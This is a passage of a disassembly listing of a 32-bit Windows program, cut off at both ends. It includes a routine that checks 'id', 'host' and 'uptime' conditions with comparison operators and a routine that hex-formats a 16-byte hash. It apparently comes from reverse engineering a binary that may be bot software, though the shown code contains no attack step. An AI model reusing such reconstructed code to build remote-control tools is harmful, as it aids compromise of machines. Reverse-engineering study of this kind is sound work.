arg_200C	= dword	ptr  2010h
arg_2010	= dword	ptr  2014h
arg_2014	= byte ptr  2018h

		mov	eax, 2000h
		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D1C ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D18 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D14 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D10 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		nop
		call	near ptr 2800BE7h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
